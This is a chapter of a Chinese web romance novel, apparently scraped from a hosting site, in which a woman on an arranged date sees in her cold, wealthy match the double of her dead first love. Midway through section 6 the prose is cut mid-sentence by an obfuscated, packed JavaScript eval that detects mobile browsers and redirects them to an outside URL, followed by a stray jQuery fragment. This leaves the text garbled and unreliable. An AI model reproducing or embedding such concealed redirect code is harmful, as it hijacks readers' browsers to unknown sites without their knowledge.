6. 六个大女人

作品:《大女人风流点怎么你了?

    1.


    白在蒙使劲扯着我的被子。


    这让我想起某段该死的回忆,老公被老婆抓奸时,老婆就是这样抓住老公被子的。而我现在就像那个好色又窝囊废的老公一样,沉默,沉默,还是沉默。


    我现在在哪?


    不是世界改变,而是我穿越了,又穿回来了。


    小霸王还在“连城玉”“白绘真”地叫,简直把我的名字当成了标点符号来用,头疼,我必须堵上他的嘴才行。


    “生气会长皱纹的。”我说。


    白在蒙果然松开了我的被子,不敢用手摸脸——怕有细菌,他又掏出小镜子照了一下。


    “很好看。”我插嘴。


    “呀!连城玉!”他蓝发张扬,“不要和我转移话题!”


    果然第一世界的便宜弟弟就不可爱了。


    “冰箱里不是存着一批新面膜吗?”我说,“今天天气热,在蒙你补补水吧,也能消消火。”


    “……”脸和生气相比,还是脸重要,白在蒙这么想着,打算去做个日常补水。


    “你最好和我好好解释一下你昨天跑哪去了。”白在蒙说,“佣人们把整个家都翻了一遍,都没有找到你,没想到第二天早上你又出现在房间里。”


    我看着他正在认认真真敷面膜的动作,安静了一下,才问:“那我错过和尹少爷的见面了?”


    白在蒙不说话了。


    他在敷面膜,连嘴巴都不张开,生怕说几句话引发干纹,连给我打字发消息都不乐意。


    我猜的没错,这小霸王不只是在女男平等的世界喜欢美容,在第一世界也这样,只不过收敛了点。纯粹是天生颜控爱美丽。


    幸好管家很快上来,告诉我司机已经在等我了,随时可以出发去相亲。


    “不过在此之前,化妆师造型师还在等你,小姐还是先梳妆打扮一下吧?”虽然问的是个疑问句,但是表现的像陈述句一样。


    我知道这是躲不过的。


    只好坐在化妆室像一个任人摆布的洋娃娃等待着上妆,画上眼影,涂上腮红,从一个乡下人转身一变变成了个真正的大小姐。


    但我没想到还需要脱毛。


    大女人脱什么毛?


    小绒毛而已,都是人天生都有的,谁身上没有毛?


    但是几个女仆冲上来按住我,蜡纸撕拉一声,我眼泪差点掉出来。


    2.


    我到达西餐厅的时候,相亲对象还没有来。


    我足足等了半个多小时,趁这个机会又和网恋对象打了几局游戏。


    包厢门被推开时,我正百无聊赖地搅动着面前的咖啡。


    来人穿着一身剪裁考究的深灰色西装,面料在灯光下泛着丝绸般的光泽。衬衫领口别着一枚蓝宝石领针,袖口露出半截百达翡丽Ref.5270P的铂金表壳——如果我也是天龙人的话,应该会认出这是今年拍卖会上以三白万成交的限量款,可惜我不是。


    我正想说话,突然觉得眼前一花,视线变得模糊起来。


    「叮!恭喜宿主。透视眼奖励已到账,有效期限十分钟。」


    系统的声音在我脑海中响起。


    ?


    什么东西?我干什么了就有奖励了?


    我还没来得及反应,就发现自己竟然能透过男人的西装,看到他结实的腹肌和若隐若现的人鱼线,更重要的是,还有那点红色。


    这他爹也行?


    这是什么男频三流剧情。


    我:“……”


    过了一会,我才看向尹少爷的脸。


    他有一双古典的瑞凤眼,眼尾微微上挑,睫毛浓密得能在眼下投出一片阴影。鼻梁高挺,唇线分明,下颌线条凌厉得像刀刻。


    看着他的眼睛,我屏住了呼吸。


    这并非是尹矜多么惊艳多么英俊或是漂亮,好看的人我见的多了去了,尹矜的确好看,但也比不上我日日精心护理美貌的便宜弟弟白在蒙。


    可是……


    这一刻,我想起了一个人。


    3.


    是的。


    虽然我这么混蛋,是个浪.女,但我的心里也有过一个白月光,有过真心,除了他,其他人都是过客。


    我这一生都只能在思念他中度过,其他人,不过是将就罢了。


    如果不是他的死,我可能一辈子都会安安稳稳的,做一个专情的伴侣,不会经历这么多段感情,不会伤那么多男人的心。


    可是他死了。


    那一夜,他没有活下来。


    而我,也没有活下来。


    安顿好他的尸骨,在坟墓前烧了最后一炷香,我的心已经死了。


    我了无牵挂后,只一头扎进灯红酒绿的万丈红尘,迅速地成为一名借酒消愁、麻痹情伤的风流混蛋。


    我是见一个喜欢一个,喜欢一个淡一个,谈一个甩一个,甩一个忘一个。


    可他们全都比不过他的一根头发丝。


    面前的尹矜和那个人是那么像……


    但我知道,他不是那个人。


    但他好像他……


    在这熙攘人潮中,两张近乎重叠的面容何其难得,我贫瘠的想象力无法解释这般的巧合,或许是那个人在天之灵为了提醒忘了他——可我怎么会忘了他寻找新的幸福?


    我该以什么样的言语向尹矜开口,怎样的问候才不算唐突?


    尹矜会允许我触碰他的眼鼻唇吗?


    我没有别的意思,只是思念太深。他太像他。一个用情至深的女人,总不该被现实的残酷所辜负。


    “你就是F.R.财团找回来的白金?”他这样问我。


    这一刻,我仿佛看见了我的白月光,我的初恋。


    4.


    西餐厅内,水晶吊灯在银质餐盘上投下细碎光斑时,而我正盯着面前那颗琥珀色的晶球发怔。


    它像一颗凝固的泪珠,表面泛着珍珠母的光泽,在骨瓷盘里轻轻颤动。冰雾从盘底的干冰孔洞中渗出,看来是能吃的东西。


    爹的。


    不愧是天龙人,吃的都是些什么,乡下人从来没有见过好吗。


    "这是佩里戈尔鹅肝晶球。"尹矜用银匙轻轻敲击杯沿,"要用特制的铂金匙从顶部轻轻戳破。"他修长的手指划过晶球表面,"像打开一颗藏着秘密的宝石。"


    “天呐,”他轻笑,"你该不会以为这是在吃果冻吧?"


    人如其名,真是骄矜。


    我期待的表情瞬间凝固,突然觉得自己既可笑又可悲。


    5.


    尹矜终究不是他啊——!


    6.


    那个人从不会拒绝我,不会躲着我,更不会用这样冰冷的眼神看我,更不会嘲笑讽刺人。


    连城玉啊连城玉,像个成熟的成年人那样,坦然接受白月光已逝的事实,彻底放下心中的执念吧。


    可我的屁股却在椅子上生了根。


    去他爹的。


    凭什么我要离开?


    穷是我的原罪吗?


    难道因为贫穷,就该剥夺我生而为人的尊严,就该掐灭我追求爱情的火种?


    我可是女士啊!


    我不过是需要多些时日沉淀沉淀罢了,他理应以平视的目光待我。


    即便素昧平生,也不该如此冷眼相向。更何况是对待一个终将凌驾于他之上的女人!


    我不抽烟不喝酒不赌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237743|166188||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不嫖,没有犯罪历史,热爱生活,注意个人卫生,观念宽容,对人友好,这样的女人难道不是天下难寻?


    莫欺少女穷!


    我心跳如鼓,深深地一寸一寸地注视着那张熟悉的面容,理智早已溃不成军。


    即便再坚毅刚强的大女人,在无数个痛失所爱的孤寂深夜里,也难免心生悲凉。无数个夜晚,哪怕有旁人靠在我的肩上,可对我来说,他们都不是他!


    而眼前人,就是一个极佳的替代品。


    我想起那个人最爱吃的东西,于是马上拿出一个蛋糕盒,递给他:“……阿矜,不知道你喜不喜欢甜品?”


    尹矜修长的手指优雅地端起蛋糕,唇角噙着一抹若有似无的笑意。他垂眸打量着手中的蛋糕,语气轻描淡写:"这蛋糕的造型,倒是别致。"


    话音未落,他手腕微转,蛋糕便从掌心滑落。


    我瞳孔骤缩,身体先于意识行动,伸手去接。却被散落在地的酒瓶绊住,整个人向前栽去,额角重重磕在茶几边缘,发出一声闷响。


    紧接着是蛋糕坠地的声音。


    奶油四溅,甜腻的香气与雪茄的醇厚在空气中交织。


    满室寂静。


    尹矜眉心微蹙,起身快步走向我,"真是胡闹。"


    他低声责备,伸手扶住我的肩膀,我只觉得自己左侧额角泛着痛意,不知是否会肿起。不过这点疼痛,对于我一个大女人来说,又算得了什么?


    "一个蛋糕而已,"尹矜语气依旧淡然,却带着几分不悦,"值得你这般不顾安危?况且,你接得住么?"


    我默不作声,眼睫轻颤,目光落在那滩破碎的奶油上。


    "说话。"尹矜声音微沉,他一把抓住我的下巴,掐得我都疼了,"摔傻了不成?"


    这是什么霸道总裁上身吗?


    我缓缓抬眼,声音轻若蚊呐:"这是...我亲手为你准备的礼物。"


    才怪。


    路边随便找了家私房蛋糕店买的。


    “……真是下等人。”尹矜顿了一下,丝毫不领情,“这种东西,让佣人做就行了,自己亲手做才是自降身份。”


    果然是城里的男人,就是难泡。


    我憨厚地挠了挠头,“自己做的才有心意。”


    嘿嘿。


    去你爹的。


    “行了,你不用讨好我,”他说,“我对你没意思,你不是我喜欢的类型,我也不会联姻的。”


    “我这周没空,下周也没空,和你约会我都没有空。”


    “你自己刚从乡下来吧?你难道不觉得这样草率地定下自己的后半生,是对自己的不负责吗?”


    “我……”我憋红了脸,憋气憋的感觉自己要撅过去了,但这看上去脸颊绯红得正好,我抬起眼帘看了他一眼又迅速垂下,“我……”


    他不说话了。


    我知道自己有一双深情眼,很多人都这么说过,说我看狗都深情,被我这样注视着的时候总是以为得到了我全部的爱。


    现在的尹矜也是一样,他估计是以为我喜欢上他了。


    可惜啊……他不过是与我心中那人容貌相似的影子,


    一个完美的替代品,


    一件待我收入囊中的猎物。


    仅此而已。


    我展现的善意,不过是猎手布下的温柔陷阱,


    是捕猎前的优雅伪装。


    绝非卑微的讨好。


    唉。


    但是他脾气太差,和我心中的那个白月光实在是相差太远了。


    他连他的一根头发丝都比不上。


    7.


    都说赘夫要赘闲。


    赘夫不贤祸及三代。